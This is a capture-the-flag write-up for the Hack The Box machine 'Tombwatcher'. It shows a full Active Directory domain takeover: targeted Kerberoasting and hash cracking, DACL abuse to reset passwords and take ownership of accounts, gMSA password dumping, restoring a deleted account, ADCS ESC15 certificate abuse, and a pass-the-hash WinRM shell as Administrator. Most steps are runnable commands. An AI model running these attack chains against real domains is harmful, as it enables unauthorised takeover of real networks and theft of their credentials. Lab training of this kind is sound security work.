PRIMARY CATEGORY → MEDIUM

Summary

  • DACL Enumeration with BloodyAD and Impacket’s DACLedit.py
  • Automatically exploiting a targetedKerberoast with targetedKerberoast.py
  • Manually exploiting a targetedKerberoast using BloodyAD + ( Netexec | Impacket’s GetUserSPNs.py )
  • Cracking TGS_REP Hashes with Hashcat
  • Creation of userlist and grouplist with Net RPC
  • Creating a list of computer accounts using LDAPsearch
  • DACL: Abusing Add-Membership right with NET RPC and BloodyAD
  • gMSA Password Recovery leveraging gMSA ACLs using Netexec and gMSADumper.py
  • DACL: Abusing User-Force-Change-Password with Net RPC and BloodyAD
  • DACL: Leveraging WriteOwner right to add GenericAll using BloodyAD and Impacket’s DACLedit.py
  • Failing a Shadow Credentials Attack with Certipy: KDC_ERR_PADATA_TYPE_NOSUPP error
  • DACL: Abusing Reanimate-Tombstones ACE to restore a deleted AD Object, along with GenericWrite over the deleted object’s parent container - BloodyAD
  • DACL: Abusing ACL Inheritance to change the password of a restored object - Net RPC
  • ADCS Enumeration with Netexec and Certipy
  • Identifying and exploting ADCS ESC15 with Certipy carrying out both Client Authentication and Certificate Request Agent injection

Zoom in


Setup

Directory creation with the Machine’s Name

mkdir Tombwatcher && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

mkdir {Scans,Data,Tools}

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
ping -c1 10.129.232.167

As mentioned, according to the TTL, It seems that It is a Windows Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

Open Ports →

53, 80, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5985, 9389, 49666, 49695, 49696, 49698, 49717, 49732 and 49747
Comprehensive Scan

We can apply a little filter to the Tombwatcher.allPorts file to extract the ports and conduct a more comprehensive scan on them by extracting the services and their version running on each port and also executing some default scripts to gather more information

Note that this scan is also exported to have evidence at hand

nmap -p$( grep -ioP --color -- '\s\d{1,5}(?=/open)' Tombwatcher.allPorts | xargs | sed 's@\s@,@g' ) -sC -sV -v -n -Pn --disable-arp-ping -oN Tombwatcher.targeted 10.129.232.167
139, 445 - SMB

Let’s start with the SMB port as we can gather some interesting information about the target such as its hostname, the domain it belongs to, the OS and other data

Based on the open ports, we can confirm that the target is a DC (Domain Controller)

netexec smb 10.129.232.167

Once we list the hostname and knowing that is a DC, we should add the former to our /etc/hosts file along with the domain name and the DC’s FQDN as we will probably have to perform certain kerberos-related actions

printf "%s\t%s\t%s\t%s" "10.129.232.167" "DC01" "tombwatcher.htb" "DC01.tombwatcher.htb" >> /etc/hosts

This time, the HTB platform provides us with valid domain credentials, namely for the user Henry

henry:H3nry_987TGV!

We should check them, just in case 😅

netexec smb DC01 --username 'henry' --password 'H3nry_987TGV!'

And as expected, they are valid

From here, we can do a bunch of things regarding to domain enumeration

First, we can list the available shares in the target

netexec smb DC01 --username 'henry' --password 'H3nry_987TGV!' --shares

We can also use SMBMap to accomplish this task

smbmap -H 'DC01' -u 'henry' -p 'H3nry_987TGV!' -d 'tombwatcher.htb'

There is no non-standard share. However, we can look for low-hanging fruit on SYSVOL, such as GPP Credentials or any other type of information disclosure

To do so, we can mount locally the given share

mkdir SYSVOL && mount --type cifs --options 'username=henry,password=H3nry_987TGV!,domain=tombwatcher.htb' '//10.129.232.167/SYSVOL' SYSVOL

And list its content

tree -a SYSVOL

But there is nothing interesting. Similarly, we can check for GPP Credentials without the need for local mount as follows

nxc smb DC01 --username 'henry' --password 'H3nry_987TGV!' --module 'gpp_password'

As we have valid domain credentials, we can create a user list related to the domain

net rpc user -U 'tombwatcher.htb/henry%H3nry_987TGV!' -S 'DC01' > user.list

Before running exhaustive domain enumeration tools such as LDAPDomaindump, Rusthound-CE.py and so on, we will check if the current user has any ACL rights over the other user accounts

To do so, we can use either BloodyAD or Impacket’s DACLedit.py. This time, we opted for the latter

while IFS= read -r _user ; do printf "\n\n%s\n\n" "$_user" ; dacledit.py -dc-ip 'DC01' -principal 'henry' -target "$_user" 'tombwatcher.htb/henry:H3nry_987TGV!' ; done < ./user.list

And the controlled user has the Validated-SPN right over a user called Alfred. This right allows us to carry out a Targeted Kerberoast attack

That is, we can add any value to the servicePrincipalName attribute of the target account to be able to request a Service Ticket to the Ticket Granting Service of the KDC for the SPN in question

Therefore, we will receive a Service Ticket encrypted with a key derived from the password of the target account. Then, we can use certain tools that extract a crackable hash from the ST and try to crack it

In order to accomplish this task, we have both a manual and an automatic method

targetedKerberoast

targetedKerberoast

This tool automates the entire explotation process by carrying out the following actions

  • SPN Population
  • TGS Request (Service Ticket)
  • SPN Cleanup
Setup
git clone https://github.com/ShutdownRepo/targetedKerberoast targetedKerberoast
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install -r requirements.txt
Usage
python3 targetedKerberoast.py --dc-ip 'DC01' --user 'henry' --password 'H3nry_987TGV!' --domain 'tombwatcher.htb' --request-user 'alfred' --output-file alfred.hash

Similarly, this process can be performed in a more manual way as follows

BloodyAD + ( Netexec | Impacket’s GetUserSPNs.py )

First of all, we have to add a new value to the servicePrincipalName attribute of the target account, namely the user account alfred

To do so, we can use BloodyAD by authenticating ourselves as henry

python3 bloodyAD.py --dc-ip '10.129.232.167' --domain 'tombwatcher.htb' --username 'henry' --password 'H3nry_987TGV!' set object 'alfred' 'servicePrincipalName' -v 'TEST/alfred'

Next, we have to request a service ticket to the TGS for the added SPN using a tool such as Netexec or Impacket’s GetUserSPNs.py

Netexec
nxc ldap DC01 --username 'henry' --password 'H3nry_987TGV!' --kerberoasting alfred.hash --kerberoast-account 'alfred'
Impacket’s GetUserSPNs.py
GetUserSPNs.py -dc-ip DC01 -request-user 'alfred' -outputfile 'alfred.hash' 'tombwatcher.htb/henry:H3nry_987TGV!'

Once we have the resulting hash from the given service ticket, we can try to crack it in order to retrieve the plain password of the user account alfred

hashcat --force -O --attack-mode 0 --hash-type 13100 alfred.hash /usr/share/wordlists/rockyou.txt
hashcat --force -O --attack-mode 0 --hash-type 13100 alfred.hash /usr/share/wordlists/rockyou.txt --show

And we have a password! Before checking if it is valid for the user alfred, we must be clear that the hashcat mode for cracking TGS_REP hashes is 13100

In addition to that, one last step we must take is to clean the SPN set. To do this, just proceed as follows using BloodyAD

python3 bloodyAD.py --dc-ip '10.129.232.167' --domain 'tombwatcher.htb' --username 'henry' --password 'H3nry_987TGV!' set object 'alfred' 'servicePrincipalName'

Since its servicePrincipalName attribute was empty before setting the previous value, we can just clear the entire attribute

Next, we can proceed with password validation

nxc smb DC01 --username 'alfred' --password 'basketball'

And it is valid!

In the same manner, we could carry out another ACL enumeration over the domain user accounts, but this time with alfred, to check if the latter has any rights over any account

But we can tell you in advance that in this case we get nothing

Similarly, we could perform the same action but for groups. That is, check if the user alfred has any right over any domain group

To do so, we can use DACLedit.py again

But first, let’s create a wordlist containing any domain group

net rpc group list -U 'tombwatcher.htb/alfred%basketball' -S 'DC01' > group.list

Having the list above, we can start the ACL enumeration as follows

while IFS= read -r _group ; do printf "\n\n%s\n\n" "$_group" ; dacledit.py -dc-ip DC01 -principal 'alfred' -target "$_group" 'tombwatcher.htb/alfred:basketball' ; done < ./group.list 

And we have a hit! Our controlled user account (alfred) can add itself to the Infrastructure group

But fist, we should check what users belonging to this group are capable of

Again, to carry out this task, we can list the ACLs for all domain user accounts and look for any matches related to the Infrastructure group

But we won’t get any results, and the same applies for the domain groups

So, the next approach is to check the ACLs for the computer accounts

To do so, we first need a list of all the computer accounts in the domain, which can be obtained using tools such as ldapsearch by carrying out a search with a small LDAP filter

ldapsearch -LLL -x -H 'ldap://DC01.tombwatcher.htb' -D 'alfred@tombwatcher.htb' -w 'basketball' -b 'DC=tombwatcher,DC=htb' '(objectClass=computer)' samAccountName | awk -v IGNORECASE=1 -F: '/samAccountName/ { print $2 }' > computer.list

We can now proceed with the ACL enumeration over the domain computer accounts, but we get nothing

At this point, before running an ingestor/collector and import the data into a deployed instance of BH-CE, let’s check if any domain password solution such as LAPS or gMSA is being used on the target AD enviroment

We can exclude LAPS as we have seen that our controlled user account does not have any rights over any domain object aside from the Infrastructure group

Regarding gMSA, we must bear in mind that the ability of an account to recover a gMSA password is not determined by the DACL of the given object, but rather by the ACL defined within its msDS-GroupMSAMembership attribute

That said, we can leverage the BloodyAD tool to retrieve all the gMSA-related ACES from the computer account’s ACL stored in its gMSA attribute

Abusing Add-Membership to recover a gMSA password

We have to bear in mind that we are dealing with computer accounts as they are the only existing service accounts in the domain, and all gMSA-related stuff only applies to service accounts

Remember that a service account is any domain account that has a servicePrincipalName set, that’s all. With this in mind, a user account becomes a service account when it has one or more SPNs set

Therefore, let’s start by listing the existing gMSA ACES for the ansible_dev$ computer account

python3 bloodyAD.py --dc-ip '10.129.232.167' --domain 'tombwatcher.htb' --username 'alfred' --password 'basketball' get object 'ansible_dev$' --attr 'msDS-GroupMSAMembership' --resolve-sd

And we have that the Infrastructure group has GenericAll ( i.e. FullControl ) over this computer account. Therefore, any member belonging to this group can retrieve the plain password for the ansible_dev$ computer account

Since we have control over alfred and this account can add itself to the Infrastructure group, we can proceed by adding alfred to the latter and subsequently retrieve the password of the computer account by leveraging the existing gMSA ACE

So, let’s get started

First, we use Net RPC to add alfred to the Infrastructure group

net rpc group addmem 'Infrastructure' 'alfred' -U 'tombwatcher.htb/alfred%basketball' -S 'DC01'

But we got an STATUS_ACCESS_DENIED error. We may not be able to perform this action through RPC, let’s try with LDAP. To do this, we use BloodyAD

python3 bloodyAD.py --dc-ip '10.129.232.167' --domain 'tombwatcher.htb' --username 'alfred' --password 'basketball' add groupMember 'Infrastructure' 'alfred'

And we did it!

Once we have alfred in the Infrastructure group, we can use tools such as Netexec or gMSAdumper to read the computer account’s plain password

Netexec
nxc ldap DC01 --username 'alfred' --password 'basketball' --gmsa
gMSAdumper
  • Setup
git clone https://github.com/micahvandeusen/gMSADumper gMSADumper
cd !$ && python3 -m venv .venv
. !$/bin/activate && pip3 install -r requirements.txt
  • Usage
python3 gMSADumper.py --username 'alfred' --password 'basketball' --domain 'tombwatcher.htb'

In any case, we obtain the NT hash and AES Keys of the ansible_dev$ computer account

We can check if the NT Hash is valid in the following way

nxc smb DC01 --username 'ansible_dev$' --hash '22d7972cb291784b28f3b6f5bc79e4cf'

And it is!

So, as we have been doing before, let’s check if the given computer account has any sensitive right over any domain account

We can start with user accounts

while IFS= read -r _user ; do printf "\n\n%s\n\n" "$_user" ; dacledit.py -dc-ip 'DC01' -principal 'ansible_dev$' -target "$_user" 'tombwatcher.htb/alfred:basketball' ; done < ./user.list

And the have another match! 😊

User-Force-Change-Password

This time our controlled computer account has the User-Force-Change-Password right over a user account called sam

As its name suggests, we can change the password of the latte. So, as always, let’s try through RPC first

net rpc password 'sam' 'password1234$!' -U 'tombwatcher.htb/ansible_dev$%22d7972cb291784b28f3b6f5bc79e4cf' --pw-nt-hash -S 'DC01'

Then, we check if the password change has been successful

nxc smb DC01 --username 'sam' --password 'password1234$!'

And we have control over the user sam. And, again, let’s check if sam has any sensitive rights over the any domain object, starting with user accounts

while IFS= read -r _user ; do printf "\n\n%s\n\n" "$_user" ; dacledit.py -dc-ip 'DC01' -principal 'sam' -target "$_user" 'tombwatcher.htb/alfred:basketball' ; done < ./user.list
Leveraging WriteOwner Right to add GenericAll

This time sam has WriteOwner over a user account called john, in other words, it can be compromised

This type of permission allows the grantee to edit the owner of the given object. Since we have control over sam, we can authenticate ourselves as the latter to change the john object owner to sam

Once we change the owner to an account under our control, we can add any ACE to the object’s ACL. That is, we can add any right we want in order to compromise the target account

In this case, we can opt to add FullControl (i.e. GenericAll) over john for ourselves to open up other attack vectors that allow us to carry out actions such as a password change or more OPSEC approaches, namely a Shadow Credentials attack

In order to do the latter, the KDC would need to have a certificate to be able to handle properly the incoming client requests and send the subsequently AS_REP containing both the Ticket Granting Ticket, encrypted with a key derived from the KRBTGT password, and an Encrypted part, encrypted with a key derived from the requested principal

Furthermore, since this attack basically consists of carrying out a AS_REQ through PKINIT Key trust, we may end up extracting the NT Hash of the given principal as the KDC stores it inside the TGT

That said, let’s get started

First, we have to modify the owner of john. To do this, we can leverage tools such as BloodyAD or Impacket’s owneredit.py

BloodyAD
python3 bloodyAD.py --dc-ip '10.129.101.215' --domain 'tombwatcher.htb' --username 'sam' --password 'password1234$!' set owner 'john' 'sam'
Impacket’s Owneredit.py

Impacket’s Owneredit.py

owneredit.py -dc-ip 'DC01' -new-owner 'sam' -target 'john' -action write 'tombwatcher.htb/sam:password1234$!'

In any case, we managed to modify its owner

As mentioned earlier, since we have control over the account that owns the user john, we can add FullControl for ourselves. For this, we can use again BloodyAD or Impacket’s DACLedit.py

BloodyAD
python3 bloodyAD.py --dc-ip '10.129.101.215' --domain 'tombwatcher.htb' --username 'sam' --password 'password1234$!' add genericAll 'john' 'sam'
DACLedit.py
dacledit.py -dc-ip 'DC01' -principal 'sam' -target 'john' -action write -rights 'FullControl' 'tombwatcher.htb/sam:password1234$!'

Once we have FullControl over john, we could modify its password. But first, let’s try a more OPSEC way to achieve the account compromise

Failing a Shadow Credentials Attack

We are talking about a Shadow Credentials attack

To do so, we can use Certipy

Certipy
certipy shadow auto -dc-ip '10.129.101.215' -username 'sam' -password 'password1234$!' -account 'john'

We were successful in adding the keyCredential object within the msDS-KeyCredentialLink attribute of the target account john, but we were unable to obtain a TGT during the AS Exchange via PKINIT key trust due to the following error

KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

This error states that the KDC does not support the pre-authentication data (padata) type sent by the client, probably due to the absence of a valid certificate to carry out a successful AS Exchange

Since we cannot complete the attack vector above, before changing the password, we can opt for other approaches

Failing Targeted Kerberoast

We can add a servicePrincipalName to the targer account and request a service ticket to try to crack it and obtain the plain password of the given account so we do not have to modify its password

python3 targetedKerberoast.py --dc-ip '10.129.101.215' --domain 'tombwatcher.htb' --user 'sam' --password 'password1234$!' --request-user 'john' --output-file ./john.hash
hashcat --force -O --attack-mode 0 --hash-type 13100 john.hash /usr/share/wordlists/rockyou.txt

However, we couldn’t crack the resulting hash

Changing the Target Password

So, let’s change its password using Net RPC

net rpc password 'john' 'password1234$!' -U 'tombwatcher.htb/sam%password1234$!' -S 'DC01'

We can also use BloodyAD for this task

python3 bloodyAD.py --dc-ip '10.129.101.215' --username 'sam' --password 'password1234$!' --domain 'tombwatcher.htb' set password 'john' 'password1234$!'

Let’s check that the password has been changed successfully

netexec smb DC01 --username 'john' --password 'password1234$!'

And it has been!

We now have control over john, so we can start again with the ACL enumeration

However, if we list the ACLs for users, groups and computer accounts, we do not get anything interesting

Thus, we can check if the current principal has any rights over the domain object

dacledit.py -dc-ip 'DC01' -principal 'john' -target-dn 'DC=tombwatcher,DC=htb' 'tombwatcher.htb/alfred:basketball'

Yes, sir! The controlled account has the Reanimate-Tombstones ACL over the domain object, which means that the AD Recycle bin is enabled

If so, when a sysadmin or other individual deletes a domain object, it remains in an AD container called CN=Deleted Objects, DC=Domain, DC=internal until a certain period of time and then, it is purged

Abusing Reanimate-Tombstones to restore a deleted AD object

When a domain object is deleted, in addition to being moved to the mentioned container, its isDeleted attribute is modified to TRUE. That is, the object has a certain amount of time before being purged (180 days by default)

Once the grace period expires, its isRecycled attribute is set to TRUE and the object is deleted permanently

That being said, we could list the domain objects located in CN=Deleted Objects, DC=tombwatcher, DC=htb, i.e. the deleted objects

To do so, it is mandatory that the principal in question has the LIST_CHILD rights over the mentioned container

Therefore, let’s list the ACLs for this container and search for an ACE related to john

During the LDAP search, we have to specify a certain OID related to deleted Objects, which cannot be done using DACLedit.py. So, we have to use bloodyAD

Since the output will be large, it is recommended to filter by john’s SID. We can list its SID as follows

rpcclient --user 'tombwatcher.htb/john%password1234$!' --command 'lookupnames john' DC01

Once we have the SID of john to filter the output of the command below properly, proceed as follows

python3 bloodyAD.py --dc-ip '10.129.101.215' --domain 'tombwatcher.htb' --username 'john' --password 'password1234$!' get search -c '1.2.840.113556.1.4.2064' --base 'CN=Deleted Objects,DC=tombwatcher,DC=htb' --attr nTSecurityDescriptor --resolve-sd | grep -iP -A 3 -B 1 --color -- '1106'

And it seems that john has FullControl (GenericAll) over the container, so we can list its children objects, i.e. any domain deleted object

So, let’s list all the domain deleted objects using bloodyAD again

python3 bloodyAD.py --dc-ip '10.129.101.215' --domain 'tombwatcher.htb' --username 'john' --password 'password1234$!' get search -c '1.2.840.113556.1.4.2064' --base 'CN=Deleted Objects,DC=tombwatcher,DC=htb' --filter '(isDeleted=TRUE)' --attr 'name' | awk -F: -v IGNORECASE=1 '/^name:/ { print $2 }'

There is nothing interesting apart from the cert_admin users

python3 bloodyAD.py --dc-ip '10.129.101.215' --domain 'tombwatcher.htb' --username 'john' --password 'password1234$!' get search -c '1.2.840.113556.1.4.2064' --base 'CN=Deleted Objects,DC=tombwatcher,DC=htb' --filter '(&(isDeleted=TRUE)(samAccountName=cert_admin))' --attr name,objectSid

These deleted domain accounts share the same name but have different SIDs, so it seem that the same account was created and deleted several times

Based on its samAccountName, we should check if there is any CA installed in the target or deployed in the AD environment

nxc ldap DC01 --username 'john' --password 'password1234$!' --module adcs

And it is! So, if we were able to restore the cert_admin user account , we could run certipy find in order to look for vulnerable templates

It should be noted that this could be done with any of the compromised accounts, but the name of this accounts results interesting

There may be a template that is vulnerable and for which this user has enrollment rights

Let’s recap, we control a user account called john which can restore any deleted domain accounts. In addition to have this right over the domain object, this user account must have write permission, such as GenericWrite, over the container OU where the given object will be restored

Thus, we can list the last known parent of a deleted AD object by querying its lastKnownParent attribute

python3 bloodyAD.py --dc-ip '10.129.101.215' --domain 'tombwatcher.htb' --username 'john' --password 'password1234$!' get search -c '1.2.840.113556.1.4.2064' --base 'CN=Deleted Objects,DC=tombwatcher,DC=htb' --filter '(&(isDeleted=TRUE)(samAccountName=cert_admin))' --attr 'name,objectSID,lastKnownParent'

And it is OU=ADCS, DC=Tombwatcher, DC=htb

Let’s check if john has any sensitive rights over this organizational unit

dacledit.py -dc-ip 'DC01' -principal 'john' -target-dn 'OU=ADCS,DC=Tombwatcher,DC=htb' 'tombwatcher.htb/john:password1234$!'

And it is! It has GenericAll, also know as FullControl. So, we meet all the requirements to restore the account

  • Reanimate-Tombstones ACL over the domain object
  • WriteOwner, WriteDACL, GenericAll, GenericWrite or any other sensitive right over the deleted object’s parent container

It is worth noting that the GenericAll right applies for both the ADCS OU and its children, therefore we can change the cert_admin user password once we restore it

That said, we can begin by restoring the cert_admin user account. There are three deleted accounts called cert_admin, so let’s restore the one with the highest SID first

For this, we can use bloodyAD again 😅

python3 bloodyAD.py --dc-ip '10.129.101.215' --domain 'tombwatcher.htb' --username 'john' --password 'password1234$!' set restore 'S-1-5-21-1392491010-1358638721-2126982587-1111'
Abusing ACL inheritance to change the password of a restored object

Once the object is restored, we change its password directly. This time there is no need to be more OPSEC by performing techniques such as Shadow Credentials or targeted Kerberoasting as the user account in question was deleted, so no one was using it

net rpc password 'cert_admin' 'password1234$!' -U 'tombwatcher.htb/john%password1234$!' -S 'DC01'

As we have done before, we check if the password has been set correctly

nxc smb DC01 --username 'cert_admin' --password 'password1234$!'
Exploiting ESC15

Next, we check both whether there are vulnerable templates and whether the given user has enrollment rights over them

To do so, we use certipy

certipy find -dc-ip '10.129.101.215' -username 'cert_admin' -password 'password1234$!' -stdout -vulnerable

And we have a template vulnerable to ESC15

This ADCS attack vector is quite interesting. It leverages a set of factors to inject an arbitrary application policy into a certificate issued from a V1 Template with the enrolle supplies subject feature enabled

That is, it is mandatory that the following requirements are met in order to carry out the ESC15

  • The controlled account has enrollments rights over the template
  • The template must be V1 format
  • The “Enrollee supplies subject” feature must be enabled in the template

That said, these attack vector has two different courses of action, but both with the same goal: compromising the entire domain

Once an operator has identified a template vulnerable to ESC15 and all the requirements are met, we can follows two approaches

Client Authentication

In this scenario, having identified a vulnerable template, an operator sends to the CA a Certificate Signing Request (CSR) containing a Client authentication application policy, in addition to the User Principal Name (UPN) of the target account specified in the subject

The latter can be done ( i.e. a client specifying any data in the subject ) as the enrollee supplies subject feature is enabled for this V1 template

Once the CA issues the certificate, it contains EKUS ( application policies ) from both the CSR and the template. In this case, the vulnerable template has the Server Authentication EKU, so the issued certificate contains

  • Client Authentication
  • Server Authentication

The latter ( i.e. the template EKU ) does not allow any type of client authentication, so an adversary cannot use a certificate that only contains this EKU to perform either an authentication via Schannel or PKINIT certificate trust i.e. a pass the certificate

That’s why we provided the CA with a CSR containing Client Authentication application policy, so that the CA generates a certificate that can be used to carry out a pass-the-certificate

That being said, let’s get started

certipy req -dc-ip '10.129.101.215' -username 'cert_admin' -password 'password1234$!' -target 'DC01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'WebServer' -upn 'Administrator@tombwatcher.htb' -sid 'S-1-5-21-1392491010-1358638721-2126982587-500' -application-policies 'Client Authentication'

Once we have the certificate including Client Authentication as application policy and with the UPN of the target account, namely the administrator account, in the subject, we can perform a Pass the Certificate via Schannel

certipy auth -dc-ip '10.129.101.215' -pfx administrator.pfx -ldap-shell

But we got an SSL-related error. So, before attempting to solve the problem, let’s move on the other alternative

Certificate Request Agent

The principle is the same, adding an arbitrary application policy within the provided CSR to receive a certificate from which we can perform potentially malicious actions

This time we will provide a CSR containing Certificate Request Agent as application policy to the CA, so we can obtain a certificate that will act as an Enrollment agent

A certificate acting as an Enrollment agent allows an operator to request a certificate from a template intended for client authentication as any domain user account

That is, we can request a certificate as the DA ( Domain Admin ) and use that certificate to initiate an AS Exchange via PKINIT Certificate Trust i.e. a pass the certificate

Take into account that any Ticket Grantin Ticket generated during an AS Exchange via PKINIT contains in its encrypted part, specifically in the Privilege Attribute Certificate, the NT hash

Therefore, once we have recieve the TGT thanks to the PtC, we can carry out an Unpac the Hash to extract the NT Hash from it through the U2U kerberos extension

The entire procees is automated by the following command

certipy req -dc-ip '10.129.101.215' -username 'cert_admin' -password 'password1234$!' -target 'dc01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'WebServer' -application-policies 'Certificate Request Agent'

As stated earlier, we can use this certificate as an Enrollment agent to request a another, which includes Client Authentication as application policy, on behalf of the domain admin account

certipy req -dc-ip '10.129.101.215' -username 'cert_admin' -password 'password1234$!' -target 'DC01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'User' -pfx cert_admin.pfx -on-behalf-of 'Administrator'

Next, just use the received certificate to perform a PtC and the subsequent Unpac the hash

certipy auth -dc-ip '10.129.101.215' -pfx administrator.pfx

Lastly, we verify the NT Hash for the Administrator user

nxc smb DC01 --username 'Administrator' --hash 'f61db423bebe3328d33af26741afe5fc'

Shell as Domain Admin

Here we go! All that remains is to stablish a remote connection via WinRM to the target and grab the content of both flags

evil-winrm --ip 'DC01' --user 'Administrator' --hash 'f61db423bebe3328d33af26741afe5fc'

And that’s all 😊 Move on to the next! 🏴